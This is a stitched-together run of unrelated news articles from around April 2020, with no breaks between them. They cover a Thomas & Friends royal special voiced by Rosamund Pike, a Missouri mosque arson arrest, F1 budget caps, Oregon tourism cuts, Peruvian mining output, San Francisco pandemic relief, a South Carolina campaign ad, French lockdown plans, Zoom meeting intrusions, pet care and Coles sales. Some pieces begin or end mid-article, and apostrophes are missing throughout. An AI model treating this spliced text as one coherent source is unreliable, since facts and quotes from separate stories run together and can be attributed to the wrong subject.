episode where Thomas travels to London for first time on a mission to take Sir Topham Hatt to Buckingham Palace to receive an honour. New role: Rosamund Pike voiced 'a Duchess who feels the pressure' for Thomas The Tank Engine's 75th anniversary episode which features an introduction from Prince Harry Actress Rosamund, 41, said it was 'an honour' to voice the Duchess of Loughborough. She said: 'Duchess is a lovely, warm, bubbly sort of effervescent engine who I was incredibly drawn to because she is very anxious to get things right. 'Duchess has a very important job, but she is feeling the pressure. In her striving to get everything right a few things go wrong, which often happens when you try too hard to make things perfect.' Getting involved: Prince Harry poses for a photo during the recording of his introduction to the new special Thomas & Friends: The Royal Engine, set when Prince Charles was a boy She continued: 'Duchess has an important job in the fact she transports The Royal Family, which is obviously an exciting role however that comes with great responsibility. 'You dont want anything to go wrong when you have such very important passengers. I know our Royal Family does like to travel by train, so it is apt that they feature in this episode.' Rosamund said she has met a very important member of the Royal Family before. Rosamund said: 'Duchess (left) has a very important job, but she is feeling the pressure. In her striving to get everything right a few things go wrong, which often happens when you try too hard to make things perfect' Iconic: The 22-minute special features an appearance from The Queen and a young Prince Charles She said: 'I met the Queen at the premiere of my first film which was a Bond film called Die Another Day, as we had a Royal premiere at The Royal Albert Hall. 'When we met the Queen there were so many things that could go wrong in terms of the correct way to behave. 'I know that a lot of the younger royals dont stand on the ceremony, but I think you still want to get it right - certainly when you are meeting the Queen. So, I practiced my curtsy, saying ma'am and when to say, "Your Royal Highness" or "Your Majesty". Rosamund continued: 'Duchess has an important job in the fact she transports The Royal Family, which is obviously an exciting role however that comes with great responsibility' 'I have a very wonderful, treasured photo of myself, Madonna and the Queen from that meeting. I am sort of mid-curtsy looking slightly anxious, but I was only aged 21 and it was a very big night for me.' Gone Girl star Rosamund said she can relate to the character and no doubt, Harry's wife, Meghan Markle can too. She said: 'Duchess and I do share some qualities, for instance she often feels a bit overloaded but still wants to get things done right. Insightful: Gone Girl star Rosamund said she can relate to the character and no doubt, Harry's wife, Meghan Markle can too 'Many people in our busy modern world can identify with that feeling, when you are tasked with doing multiple things at the same time but at the same time you want to make sure any work you do is to the best of your capability. 'I think I have always been like that that whatever job there is to be done: I want to do it well whether its cleaning the house or doing a voiceover for Thomas & Friends. 'I think a pleasure in life is to enjoy your work and to get the most out of it. Although as lovely and charming as the Duchess is, she can seem a little rude at times but only because of her anxiety. She is a warm and friendly engine who is just looking for friends.' Recently Thomas & Friends has become more inclusive with the gender balanced cast. She said: 'Duchess and I do share some qualities, for instance she often feels a bit overloaded but still wants to get things done right' Duchess is the newest female character who plays an important role in this episode and Rosamund said this might inspire young girls and boys. She said: 'I think it is great that the female engine was given a very important responsibility. She is given power, but she goes about it with a lot of grace and a great deal of anxiety but is a brave little engine. 'She is courageous like Thomas and the fact they become friends during the episode shows they are a well-matched pair. 'They both have the same kind of quality of triumphing over the odds and Duchess is surprised at one point at Thomas willingness to help. 'Her experience prior to this, senses she has been in the more competitive environment that is less used to people stepping in and helping others. Maybe that is a good lesson too, that collaboration gets you further.' Harry, The Duke of Sussex, said: 'Thomas the Tank Engine has been a comforting, familiar face to so many families over the last 75 years entertaining, educating and inspiring children on important issues through exciting stories and characters. 'I certainly have fond memories of growing up with Thomas & Friends and being transported to new places through his adventures. I am very proud to have been asked to take part in this special episode. I wish Thomas & Friends a very happy anniversary.' The on-camera introduction made by The Duke of Sussex was recorded in January earlier this year with a donation made to charity. She said: 'I think it is great that the female engine was given a very important responsibility. She is given power, but she goes about it with a lot of grace and a great deal of anxiety but is a brave little engine' Set when the Prince of Wales was a boy, the 22-minute special sees the friendly engine taking Sir Topham Hatt, the controller of the railway, to Buckingham Palace to receive an honor. In his introduction - which was recorded in January before his move overseas - Prince Harry is seen sitting in an armchair, reading from a book about the trains adventures. In January, Prince Harry and his wife Meghan, the Duchess of Sussex, announced they planned to quit as senior royals, seek financial independence and move to North America. The split became official at the end of March, and the couple are currently in California, where Meghan was raised. Proof of Prince Harrys attachment to the engine can also be seen in photos of his first day attending nursery in September 1987, where he is seen carrying a Thomas the Tank Engine bag. The Rev. Wilbert Awdry released the first book in 'The Railway Series' 75 years ago. It was originally created as a bedtime story for his son, Christopher, during a bout of the measles. The plucky blue tank engine doesnt appear in the debut story. He got his own illustrated book in 1946 called "Thomas the Tank Engine" and swiftly took over from Edward, Gordon and Henry as everyones favorite. The train tales were turned into a stop-motion animation series in the 80s, moving into CGI in 2009. "Thomas and Friends," owned by Mattel, is now on air in over 160 countries worldwide. The show will be aired by Netflix in the U.S. on May 1 and on Channel 5s Milkshake show in the U.K. the following day. It will also be broadcast in Canada and Australia later in the month. CAPE GIRARDEAU, Mo. - Authorities on Tuesday announced the arrest of a Missouri man with a history of vandalizing mosques for a fire that badly damaged an Islamic centre. Police said in a news release that Nicholas Proffitt was arrested Monday night for the Friday fire at the Islamic Center of Cape Girardeau, which is in southeast Missouri. Proffitt, 42, of Cape Girardeau, is charged in a warrant with first-degree arson, burglary and felony property damage. The charges are enhanced because Proffitt was motivated by the religion of the people who worship at the Islamic Center, police said. At the time of the fire, between 12 and 15 people inside had to be evacuated; no one was injured. The Council on American-Islamic Relations lauded the arrest and urged federal officials to file hate crime charges against Proffitt, noting he was convicted and served time for two felony property damage counts in 2009 for vandalizing the same mosque. Cape Girardeau is about 115 miles (185 kilometres) south of St. Louis. Ferrari should leave Formula 1 if it is not willing to drastically reduce costs amid the corona crisis. That is the view not only of McLaren's Zak Brown, but of former F1 driver Ralf Schumacher. Team boss Mattia Binotto made comments last week that were interpreted as a threat by Ferrari that it may quit Formula 1 if the budget cap is dropped below $145 million for 2021. But Schumacher says $145 million is way too high in the circumstances, and says Ferrari's position is "boring and annoying". "We all have an uncertain future ahead of us," he insisted. "Even the big teams will now be questioning everything. "Formula 1 is far too expensive at the moment. If Ferrari is not willing to cut costs, they should go." Schumacher told Sky Germany that F1's headline budget cap number for the future should actually be "well below $100 million". He said that when he debuted for Jordan in 1997, the team only had $40 million to spend but "it worked and it was entertaining". Schumacher also commented on rumours that Sebastian Vettel could leave Ferrari and possibly keep his career alive by switching to a team like McLaren. "You have to ask honestly, what other alternatives does he have?" said the 44-year-old. "Unless he swaps the cockpit with Lewis Hamilton, I don't see how he can get another car that he can win races in." (GMM) Travel Oregon, the states tourism promotion commission, has implemented deep budget cuts as it copes with plummeting revenues -- potentially a sign of things to come for a variety of state agencies unless the federal government comes through with a sizable bailout package. The agency, funded exclusively through lodging taxes, has seen all key measures of industry activity and health fall through the floor. Statewide hotel occupancy rates have declined 63% compared to the same time last year. Fewer than 1 in 4 rooms are filled. Daily room rates are down by a third. And the revenue per available room has plummeted 75% to $18.37. As a result, Travel Oregon forecasts that its revenues will be cleaved by nearly two-thirds in the quarter ended June 30, from a budgeted $8 million to $3 million. For the following year, if trends continue, revenues will be 40% to 50% less than predicted before the pandemic. Late last week, the agency announced internally that effective June 1, it would lay off 17 of its 64 employees, furlough another three indefinitely and eliminate two vacant positions. Overall, the moves affect about one-third of its employees. The agency also implemented salary reductions for all remaining positions ranging from 5% to 20%, with the larger reductions for executives and managers whose fat salaries were called out in a state audit early this year. The agency is cancelling or reducing contracts, ranging from media buys to independent representatives who promote travel to Oregon both domestically and abroad. It also plans to close its Salem office. By statute, 20% of the agencys lodging tax receipts are distributed to seven regional tourism organizations in the state on the pro rata basis of where the lodging taxes are generated. Another 10% go to a competitive grant program to develop and improve tourism activities around the state, from the wine industry to trail networks. The overall decline in lodging revenues will directly impact those regional organizations as well as funding available for grants. Travel Oregon CEO Todd Davidson will take a 20% hit to his nearly $400,000 pay package. He said that in 30 years in the tourism and travel industry in Oregon, hed never seen such a broad, deep and sudden decline. The entire fabric of the industry in Oregon is in free fall, Davidson said, with seven in 10 lodging employees and eight in 10 food service workers laid off or furloughed in the span of six weeks. Tourism was a $12.8 billion industry in Oregon last year, with 117,500 employees, according to the agency. Restarting it is likely to come with fits and starts. Davidson said it was difficult to predict how industry conditions will play out in coming months as the governors office implements plans to reopen the economy, perhaps on a geographic basis. Peoples lives and peoples health have to be the No. 1 priority, Davidson said. The question becomes, how do we lift that? How does it reopen againWhat are the standards that need to happen? Davidson said the industry is working with the governors office, regional organizations, and trying to learn from the experience of other regions and countries. He said the pandemic may change the way people travel, just as the 9/11 attacks did. Initially, people may be reluctant to get on an airplane or go far from home. Theyll go on driving vacations. And that tells the agency where to direct its marketing dollars. Well be reaching out to Oregonians and urging them reconnect with other Oregonians that have been hurt by this downturn, and very tangibly reconnect with the state, he said. -- Ted Sickinger; tsickinger@oregonian.com; 503-2218505; @tedsickinger Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. Queensland has seen another day with no new virus cases, with thoughts starting to turn to the next few months as the state slowly transitions out of virus lockdowns. The zero new cases on Tuesday was after a number of similar results last week, with just 13 cases recorded over the last seven days. Premier Annastacia Palasczuk has called for all Queenslanders to get a flu shot and download the federal government contact tracing app. Credit:AAP About 90 per cent of the people who have been infected have since recovered, while six Queenslanders have died. Of the fewer than 100 active cases 14 patients remain in hospital with six of those in intensive care. Scopio Labs, a Tel Aviv, Israel-based advanced digital microscopy company, completed a $16m Series B funding round. The round was led by Olive Tree Ventures with participation from Aurum Ventures, OurCrowd, LR group and others. The company, which has raised $30m in total funding to date, intends to use the capital to expand commercial operations across human and veterinary care in the United States and Europe, by ramping up manufacturing and sales, and further developing a strong clinical trial pipeline to broaden its portfolio of offerings. Led by Itai Hayut, co-founder and CEO, Scopio Labs develops a digital microscopy that captures and digitizes full slide microscopy data. Using advanced computational photography techniques to reconstruct data, it offers an automated digital microscopy scanning system with high resolution and quality images in hematology, pathology, research and veterinary medicine. The closing of the funding round follows the companys receipt of a CE mark certification for its X100 Full Field Peripheral Blood Smear (PBS) microscopy system, an all-in-one automated in-vitro hematology diagnostic platform that enables remote consultation and includes a computer-vision based decision support system. In addition, A multi-center study in preparation of an FDA submission is being completed. Earlier this year, the company launched ScopioVet, an end-to-end digital cytology solution for veterinary professionals. FinSMEs 28/04/2020 [April 28, 2020] Buenaventura Announces First Quarter 2020 Results for Production and Volume Sold per Metal Compania de Minas Buenaventura S.A.A. ("Buenaventura" or "the Company") (NYSE: BVN; Lima Stock Exchange: BUE.LM), Peru's largest publicly-traded precious metals mining company, today announced 1Q20 results for production and volume sold. 1Q20 Production per Metal (100% Basis) Gold (Oz.) January February March 1Q Type of Proccesing Plant Orcopampa 3,992 4,129 40 8,160 Flotation Tambomayo 5,111 7,067 2,371 14,549 Flotation La Zanja 614 1,750 932 3,297 Heap leaching Tantahuatay 10,095 6,679 5,719 22,493 Heap leaching Yanacocha 45,520 35,326 40,956 121,802 Heap leaching El Brocal 1,570 1,476 1,008 4,054 Flotation Silver (Oz.) January February March 1Q Type of Proccesing Plant Uchucchacua 773,878 767,022 415,563 1,956,463 Flotation El Brocal 221,958 267,914 188,195 678,067 Flotation Tambomayo 132,079 200,105 53,347 385,532 Flotation Julcani 217,316 219,535 113,700 550,552 Flotation Lead (MT) January February March 1Q Type of Proccesing Plant El Brocal 1,535 2,579 1,346 5,460 Flotation Uchucchacua 1,044 814 414 2,273 Flotation Tambomayo 543 443 208 1,194 Flotation Julcani 54 59 36 149 Flotation Zinc (MT) January February March 1Q Type of Proccesing Plant El Brocal 5,089 5,692 4,277 15,058 Flotation Uchucchacua 1,179 861 320 2,360 Flotation Tambomayo 609 461 197 1,267 Flotation Copper (MT) January February March 1Q Type of Proccesing Plant Cerro Verde 39,195 31,497 21,519 92,211 Flotation El Brocal 3,415 3,053 2,654 9,122 Flotation Additional Comments Peru's state of emergency and related mandated lockdown began on March 16, 2020. As was announced on March 30, 2020, Buenaventura has suspended the full year 2020 guidance provided at the Company's March 9, 2020 Investor Day. The Company expects to provide updated guidance on May 18, 2020 with the release of its 1Q20 Financial Results. Buenaventura's enhanced mine plan will target high-grade areas while maintaining a focus on exploration and cost reduction, once the Company's mines resume production. Mineral at Orcopampa is treated during the last two weeks of the month, aligned with the mine's working protocol. No mineral was therefore treated during the month of March. The Uchucchacua mine plan is designed to ramp-up production to exploit high-grade areas starting the second quarter of 2020. 1Q20 Payable Volume sold per Metal (100% basis) 1Q20 (Actual) Gold (Oz.) Orcopampa 9,016 Tambomayo 5,286 La Zanja 3,295 Tantahuatay 23,978 El Brocal 2,639 Silver (Oz.) Uchucchacua 1,880,330 El Brocal 466,365 Tambomayo 110,661 Julcani 514,114 Lead (MT) El Brocal 5,145 Uchucchacua 1,972 Tambomayo 282 Julcani 95 Zinc (MT) El Brocal 12,438 Uchucchacua 1,874 Tambomayo 992 Copper (MT) El Brocal 8,458 Realized Metal Prices* Gold (Oz) 1,692 Silver (Oz) 17.16 Lead (MT) 1,653 Zinc (MT) 1,824 Copper (MT) 5,536 *Buenaventura consolidated figures Company Description Compania de Minas Buenaventura S.A.A. is Peru's largest, publicly traded precious and base metals Company and a major holder of mining rights in Peru. The Company is engaged in the exploration, mining development, processing and trade of gold, silver and other base metals via wholly-owned mines and through its participation in joint venture projects. Buenaventura currently operates several mines in Peru (Orcopampa*, Uchucchacua* , Julcani*, Tambomayo*, El Brocal, La Zanja and Coimolache). The Company owns 43.65% of Minera Yanacocha S.R.L (a partnership with Newmont Mining Corporation & Sumitomo Corporation), an important precious metal producer and 19.58% of Sociedad Minera Cerro Verde, an important Peruvian copper producer (a partnership with Freeport-McMorRan Inc., Sumitomo Corporation & Sumitomo Metals). For a printed version of the Company's 201* Form 20-F, please contact the persons indicated above, or download a PDF format file from the Company's web site. (*) Operations wholly owned by Buenaventura Note on Forward-Looking Statements This press release may contain forward-looking information (as defined in the U.S. Private Securities Litigation Reform Act of 1995) that involve risks and uncertainties, including those concerning the Company's, Yanacocha's and Cerro Verde's costs and expenses, results of exploration, the continued improving efficiency of operations, prevailing market prices of gold, silver, copper and other metals mined, the success of joint ventures, estimates of future explorations, development and production, subsidiaries' plans for capital expenditures, estimates of reserves and Peruvian political, economic, social and legal developments. These forward-looking statements reflect the Company's view with respect to the Company's, Yanacocha's and Cerro Verde's future financial performance. Actual results could differ materially from those projected in the forward-looking statements as a result of a variety of factors discussed elsewhere in this Press Release. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428006003/en/ [ Back To TMCnet.com's Homepage ] With San Franciscos shutdown orders extended through May, out-of-work residents desperation will surely swell. So its good news Mayor London Breeds administration has found a way to get the $138 million tied up in hard-to-access medical reimbursement accounts back to the employees who earned the money in the first place. I told you recently about some San Francisco business owners and employees being frustrated that $138 million is sitting in 104,000 individual medical reimbursement accounts, funded by employer contributions mandated by a 2006 law intended to provide health care to all San Franciscans. But withdrawing the money to get reimbursed for health care costs has become increasingly onerous, some workers say, with myriad bureaucratic hoops to jump through. And besides, why cant they just have the money back to pay for rent, groceries and other necessities since were in the midst of a public health crisis? Well, soon they can. The city next week will contact all 104,000 account holders and give them the option of requesting the money in their accounts be released to them. The mayors office is still trying to figure out whether the money will come in regular checks or something like a grocery gift card. During this unprecedented pandemic and the ensuing economic fallout, our workers need all the support they can get, Breed said in a statement. Our ability to deliver these funds for basic needs during this public health crisis will make a difference in peoples lives. Lana Porcello, the owner of a shuttered restaurant near Ocean Beach, hopes the money will help the 51 employees she had to lay off. After the shelter-in-place rules went into effect, she closed Outerlands and has been asking the city to release her employees money back to them, but hadnt gotten anywhere. Told of the news, she said, Thats huge! Some people have thousands of dollars saved and that can absolutely help with rent and groceries, she said. It will be a great relief for a lot of people. She said its a relief for business owners like herself, too, because the more secure the workforce, the more likely businesses can reopen in some fashion after shelter-in-place rules are finally lifted. Rodney Fong, president of the Chamber of Commerce, called the release of the money our own local $100 million stimulus package. Im hopeful it has some impact and buys everyone a little more time, he said. Theres more to do in terms of the medical reimbursement accounts, however. Theres another $65 million in deactivated funds sitting at the city. If an employee doesnt tap into his or her own account within 24 months, the city can take it back and use it for its own purposes as long as it coughs up the money later if the employee asks for it. Breeds intention is to release that money, too, though the details still have to be worked out. Usually, the goods handed out by food banks are pretty basic: canned corn, apples, rice, potatoes. But thousands of people lining up for help this week in San Francisco will find an unlikely surprise in their sacks: 10 oz. American Wagyu steaks worth nearly $60 each. The prized meat was trucked from Snake River Farms in Idaho last week to a warehouse in Fremont and is currently being cut and packaged. The family-owned farm, which focuses on raising its animals humanely, usually sells its Wagyu steak to high-end restaurants, but with those shuttered due to the coronavirus pandemic, the farm is donating the steak. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. And its a lot of steak. The San Francisco haul will be divided into 35,000 portions and is estimated to be worth $2 million. Volunteers with TogetherSF will deliver the steaks, most of which will go to the San Francisco-Marin Food Bank. Deliveries will also be made to La Cocina, Meals on Wheels, Self Help for the Elderly and public housing sites, among other groups. People may see steaks in their grocery bags as early as Wednesday. Paul Ash, executive director of the San Francisco-Marin Food Bank, said he hadnt yet heard of the steak windfall. Youre breaking the news to me! he said, sounding pleasantly surprised. He said some food distributors are donating high-end products to the food bank since restaurants are shuttered, and he recently received 5-pound wheels of cheese from a local cheese company that he estimated to be worth $100 apiece. The need just keeps rising with 50,000 households in San Francisco asking for food assistance 19,000 more than just three weeks ago. The food bank is delivering bags of groceries to homebound seniors using a hodgepodge network of volunteers, Ash said, including Amazon drivers who pick up the food and deliver it on their routes. The steak donation is being coordinated by TogetherSF, a new nonprofit started by Kanishka Karunaratne Cheng, who worked as Breeds director of commission affairs until earlier this month. She left to become a private consultant and run TogetherSF as a volunteer. It recruits people wanting to volunteer during the COVID-19 pandemic and matches them with people and organizations needing help. Volunteers will drive the steaks from the Fremont warehouse operated by Newport Meat, which donated its butchering services, to the various food distribution sites in the city. Its kind of a random thing to have come up, but itll be really nice to see peoples faces when they get something they really werent expecting, Karunaratne Cheng said. Its so rewarding. San Francisco Chronicle columnist Heather Knight appears Sundays and Tuesdays. Email: hknight@sfchronicle.com Twitter: @hknightsf Instagram: @heatherknightsf Republican Kathy Landing's newest TV ad blasts incumbent Democrat Joe Cunningham as a grandstanding congressman, countering she is the one with the experience to be in Washington. Called "Adults," the 30-second spot cites Landing's 35 years of experience in financial planning as a chief example of how the Mount Pleasant councilwoman can help President Donald Trump as the nation recovers from the economic and emotional impact of the novel coronavirus. The ad opens with darkened images of visibly stressed families and individuals, and quickly cycles through footage of the New York Stock Exchange and "closed for business" signs going up on windows. A male voiceover narrates. "Our nation panicked. Our markets volatile. Small businesses in peril. We need adults in Congress to help President Trump restore stability," the voiceover says. Ten seconds into the ad, Landing speaks for herself. "I approve this message because assessing financial situations, budgeting and planning for an uncertain future are what I do every day," Landing says. The ad fades to an image of Cunningham holding an air horn during a House subcommittee meeting, where he demonstrated how disruptive seismic blast testing can be for sea creatures during offshore fossil fuel exploration. "Congress has enough self-promoting talkers," the male narrator booms. "This is a time for real expertise and real leadership." At 57, Landing is the oldest Republican candidate running in South Carolina's 1st Congressional District. This is not the first time Landing has cast herself as the mature and measured choice in the race. When she announced her candidacy last year, she made a similar appeal. "Rather than attention-seeking stunts, we need a more thoughtful, and dare I say mature, approach in Congress," she said. Landing's campaign told The Post and Courier that the ad began airing Tuesday on cable and digital platforms. The new spot does not come with an additional media buy, but will instead join the $125,000 of airtime the campaign has already reserved up to the June 9 primary. This is Landing's third district-wide ad since entering the race. It is her second to air in 2020. Cunningham's campaign responded by questioning Landing's claims of leadership. "Joe remains focused on making sure Lowcountry families and seniors are safe during this time and that small businesses and workers get the help they need to provide for their families. Instead of attacking others, we should be working together to get through this crisis," Cunningham's campaign manager Allie Watters said in a statement. With this new ad, the battle for the GOP nomination intensified between Landing and Nancy Mace, another GOP contender. In recent weeks, the two campaigns have gone back and forth with dueling endorsements and TV ads. Two weeks ago, Mace began airing her own TV ad that touted her ties to the Trump administration and featured Vice President Mike Pence praising her accomplishments. Despite the competitive Republican primary, Landing's latest ad focused on Cunningham rather than Mace. The seat is a top priority for Republicans as they hope to regain control of the House. Trump carried the coastal district by 13 points in 2016, but Cunningham won the seat two years later when he narrowly defeated Republican state Rep. Katie Arrington. Landing is one of four Republicans running to challenge Cunningham in November. The other GOP contenders are Bikers for Trump co-founder Chris Cox and Bluffton community development leader Brad Mole. Both have stuck to social media to get their message out rather than major TV ad dollars. Sinn Fein president Mary Lou McDonald has accused the Government of raising expectations that restrictions will be lifted next week. In an open letter to Taoiseach Leo Varadkar, Ms McDonald said that Government language on coronavirus measures has led to confusion and anxiety. The National Public Health Emergency Team (NPHET) is meeting today to review the impact of Covid-19 and the existing measures in place to limit the spread of the disease. Restrictions are due to expire next Tuesday, however chief medical officer Tony Holohan has warned that relaxing coronavirus restrictions will go down to the wire. Exit from emergency measures safely. My letter to An Taoiseach #COVID19 pic.twitter.com/HElLeoTwxN Mary Lou McDonald (@MaryLouMcDonald) April 28, 2020 The letter, which Ms McDonald posted to her Twitter page, said: We all want to see people back at work, schools re-opening and to have renewed contact with our families, however I am concerned that Government commentary has increased expectations regarding the lifting of restrictions on May 5. In my view this is a mistake which has caused a lot of confusion and anxiety. The HSE has conceded that they will not be in a position to ramp up testing and tracing until at least the middle of May and the ability to test, trace and isolate is critical to the easing of restrictions in a planned, safe way. I am also concerned that many employers have been in touch with their staff over the weekend and are making preparations for a return to work after May 5. It is critical that the Government sets out what health and safety procedures will be in place to protect workers, alongside the opening of workplaces. We all know that self-regulation will not work and there needs to be a strong compliance system in place which supports workers, and is resourced to carry out necessary monitoring. I am also concerned that many employers have been in touch with their staff over the weekend and are making preparations for a return to work after May 5 Mary Lou McDonald Mr Varadkar will meet with party leaders this week to set out the Governments plan to ease restrictions. Ms McDonald added: There are many things to be discussed but I believe that the following should be among the principles which guide decisions in relation to the easing of restrictions and of course any lifting of measures must be done gradually and in a way that allows them to be continuously monitored. She stated that disease transmission must be under control, there must be capacity to detect, trace and isolate and treat every case and that the health system must have the capacity to provide sufficient intensive care. She also welcomed a meeting between Irish Government officials and ministers from the Northern Ireland Executive which takes place on Wednesday. The last few weeks have shown how critical it is to deal with this crisis on an all-island basis, she added. In a phone interview from Paris, Le Bon de Beauvoir said she knew The Inseparables should eventually be published when she first read the manuscript in 1986, soon after Beauvoirs death. Other publishing priorities simply got in the way, which is why Im just getting to her novels and short stories now, she said. Beauvoir chose Le Bon de Beauvoir, a close confidante of hers for 26 years, as her literary executor, and legally adopted her in 1980 for the explicit purpose of ensuring the rights to her works would revert to her. Le Bon de Beauvoir plans to release more of Beauvoirs unpublished fiction in the future, she said. Image Sylvie Le Bon de Beauvoir and Simone de Beauvoir at the Fete des Femmes in June 1973 in Vincennes, France. Credit... Collection of Sylvie Le Bon de Beauvoir Le Bon de Beauvoir is confident that The Inseparables is a fully formed work. When she wrote it, in 1954, she had already honed her craft as a writer, she said. A typed copy of the novel exists in addition to the handwritten manuscript, and Beauvoir didnt tinker with either after 1954. She destroyed some works that she was unhappy with, Le Bon de Beauvoir said. She didnt destroy this one. About her papers, she told me, Youll do as you think is right. The manuscript was kept at Le Bon de Beauvoirs home along with a good chunk of the archives, though some of Beauvoirs papers were donated to the National Library in Paris. Before preparing it for publication, she only ever granted access to The Inseparables to one scholar, the Beauvoir specialist Eliane Lecarme-Tabone. It was an amazing discovery, Lecarme-Tabone wrote in an email interview. We know that Simone de Beauvoir sometimes judges herself too harshly. It deserved to be seized on. Beauvoir had left the work untitled, so Le Bon de Beauvoir looked to the text itself for inspiration. The word inseparable is mentioned several times in relation to the central characters, modeled after Beauvoir and her friend Elisabeth Lacoin, known as Zaza. Both born to bourgeois, Catholic families, they met at the age of 9, and shared dreams of independence and higher education at a time when women were discouraged from pursuing either. Zaza, the more overtly rebellious one, spurred on her friend, Beauvoir wrote in Memoirs of a Dutiful Daughter: It was only when I compared myself with Zaza that I bitterly deplored my banality. Streets in Paris remained virtually empty on Monday as the French government prepared on Tuesday to detail how it plans to pull the country out of the coronavirus lockdown that has plunged the Eurozone's second-largest economy into a deep and alarming freeze. Prime Minister Edouard Philippe tweeted this weekend he will unveil the "national deconfinement strategy" on Tuesday afternoon in an address at the National Assembly. He said lawmakers will then get to debate the blueprint and vote on it. The government has for weeks had teams of experts working on how to find a balance between restarting the economy without provoking a second surge of COVID-19 infections that could overwhelm hospital ICUs. President Emmanuel Macron had already announced that France's lockdown, in place since March 17 and among the strictest in Europe, would start to be lifted from May 11. Philippe's long-awaited speech will flesh out the details. He said it will cover six themes: health, schooling, work, shops, transport and gatherings. Parents are anticipating specifics about the government's previously announced plans for a staggered resumption of classes. The government says parents will be given the option of continuing to home-school kids if they prefer. For most people, the new coronavirus causes mild or moderate symptoms, such as fever and cough that clear up in two to three weeks. For some, especially older adults and people with existing health problems, it can cause more severe illness, including pneumonia and death. The vast majority of people recover. France has reported 160,847 infections while 23,293 people have died. Security experts are warning businesses that meetings conducted via video conferencing service Zoom could be vulnerable to infiltration by competitors after an Australian journalist reportedly gained access to internal meetings at rival publications. UK-based Australian journalist Mark Di Stefano was reportedly suspended from the Financial Times newspaper after being accused of listening in to sensitive Zoom meetings at rival publications The Independent and the Evening Standard in London. The accusations have not been proven, and it is not known how Mr Di Stefano is said to have gained access to the meetings or what his intention was said to be. Journalist Mark Di Stefano at work at Parliament House when he was at Buzzfeed in Australia. Credit:Alex Ellinghausen David Tuffley, senior lecturer in information and communication technology at Griffith University, warned there is evidence offshore of businesses getting hold of Zoom meeting links and logging in to meetings of competitors to collect information. "I haven't seen this in Australia but there is potential there for it to be a criminal activity," he said. "These URLs are valuable and if people can buy them through nefarious means there is potential for a black market for these things to spring up. 4Chan or the dark web would be forums where these could be sold." It is not suggested Mr Di Stefano gained access to the meeting through these means. When animal shelters scrambled to find foster homes for pets at the onset of the coronavirus pandemic, volunteers across the country answered the call. Weve witnessed an incredibly compassionate response from people willing to open their homes to vulnerable animals in the shelters who need foster during this period of uncertainty, Sydney Bartson Queen, animal behavior counselor for the nonprofit American Society for the Prevention of Cruelty to Animals, told TODAY. Its an amazing way to support your community, save a life and bring some added joy into your home. A tiny puppy snuggles into arms (Courtesy of the ASPCA) While we quarantine with pets whether fosters or permanent members of our families she said there are things we can do to help them realize their potential. For starters, puppies need positive exposure to as many different experiences as possible. While it can be challenging during social distancing, Queen noted there are still ways to familiarize them with the world. Take lots of walks on different routes in all kinds of weather, she said. You can plan ahead so you have to pass by construction sites, buses, cars, strollers, skateboards, bikes, you name it and you can do it all at a safe distance. When you pass by those things, try to get the pup excited with delicious treats and pay attention to their body language to make sure they dont seem fearful or overwhelmed (if they do, take a break). You can also arrange play dates with another young, vaccinated dog who hasnt been exposed to anyone whos tested positive for COVID-19. Inside, create obstacle courses for puppies with cardboard, plastic bags and tinfoil to walk over to practice feeling different textures under their paws. Theyre at a period of time in their life when their little brains are just soaking up everything around them," said Queen, "so the more that they can be exposed to when theyre puppies, in a really positive way, the better they will react to those things in the future. Story continues A pup til (Courtesy of Michelle Rose) Dogs of all ages benefit from enrichment exercises that stimulate their brains, from learning a new trick to searching for treats in snuffle mats or hidden in egg cartons, boxes or toilet paper rolls. Queen said many dogs enjoy pupsicles. You cut up treats or dog-safe foods into little pieces and freeze them into a cup of water. Then you can pop out that ice block and let them enjoy licking at it and trying to get down to the food, she said. Pets & Animals Puzzle feeders are a great idea for both dogs and cats, so long as theyre separated from other household pets while playing with them. Cats can also have fun batting around a plastic bottle cap or pouncing on paper bags (be sure to cut off the handles first so they dont get stuck). Hanging a bird feeder outside a window provides visual stimulation throughout the day. Alone time is also important to get used to for when stay-at-home orders are lifted, so Queen suggested setting up a cozy area away from your remote work or school space so they can take a nap or enjoy a chew toy. Cat relaxes in a box (Courtesy of the ASPCA) Many professional dog trainers and animal behaviorists are offering remote training opportunities and consultations during the crisis. Dr. Stephanie Borns-Weil, a veterinarian and head of the Animal Behavior Department of Cummings School of Veterinary Medicine at Tufts University, emphasized the importance of using positive reinforcement and trainers who use these techniques rather than physical discipline with pets. A puppy hordes a slipper (Jen Reeder) I cant think of a circumstance where physical punishment is necessary for a dog, she told TODAY. All it does is increase anxiety and fear. Studies have shown it can make a dog fearful of their owners. What kind of relationship do we want? Do we want a dog who is doing things because they fear us? Or do we want a dog thats doing good things because its fun and because something good is going to happen to them? If a dog or cat suddenly starts exhibiting problematic behavior, she suggests checking with a veterinarian to make sure theres not an underlying medical issue. For instance, one clients dog suddenly started snapping at a young child. It turned out the dog had a painful ear infection causing the reaction. Two kittens gaze up at the camera (Courtesy of the ASPCA) Ultimately, offering the pets in our homes a positive pandemic experience will benefit everyone involved. The bond that you can build thats built on real and meaningful love is really wonderful, she said. I think the time that were all together right now gives us an opportunity to really open that communication and build that bond. The panic buying of toilet paper and pasta has caused an unprecedented double-digit surge in Coles retail sales in just 12 weeks. The supermarket giant's grocery sales soared 13.8 per cent between January 6 and March 29, when compared with the same period in 2019, as coronavirus case numbers peaked. Coles sales in its supermarkets alone added up to $8.23billion during the third quarter - more than the combined takings from its grocery, liquor and Express service station outlets during the same period last year. Coles chief executive Steven Cain said the quarterly surge was the highest its history as panic buying from late February resulted in 'extraordinary' March sales. The panic buying of toilet paper and pasta has caused a double-digit surge in Coles retail sales in just 12 weeks. Pictured is a shuffle over toilet paper at a Coles outlet in Melbourne 'My main objective today is to get through without saying "unprecedented" again,' he told reporters on Wednesday morning. How COVID-19 panic buying helped Coles Supermarkets: up 13.8 per cent to $8.23billion Liquorland: up 6.1 per cent to $740million Coles Express: up 5 per cent to $256million TOTAL: $9.226billion: up 12.9 per cent in the 12 weeks to March 29, 2020 when compared with the same period in early 2019 Source: Coles third-quarter results released to the Australian Securities Exchange Advertisement 'Trading was strong pre-COVID-19. 'Panic buying then resulted in an extraordinary March sales spike leading to the highest quarterly sales growth in Coles history.' Alcohol was also in demand, with Liquorland sales climbing by 6.1 per cent to $740million, with bottle shops allowed to continue operating during the government-mandated coronavirus shutdowns of non-essential businesses from March 24. Mr Cain said shoppers were buying less wine at more than $20 a 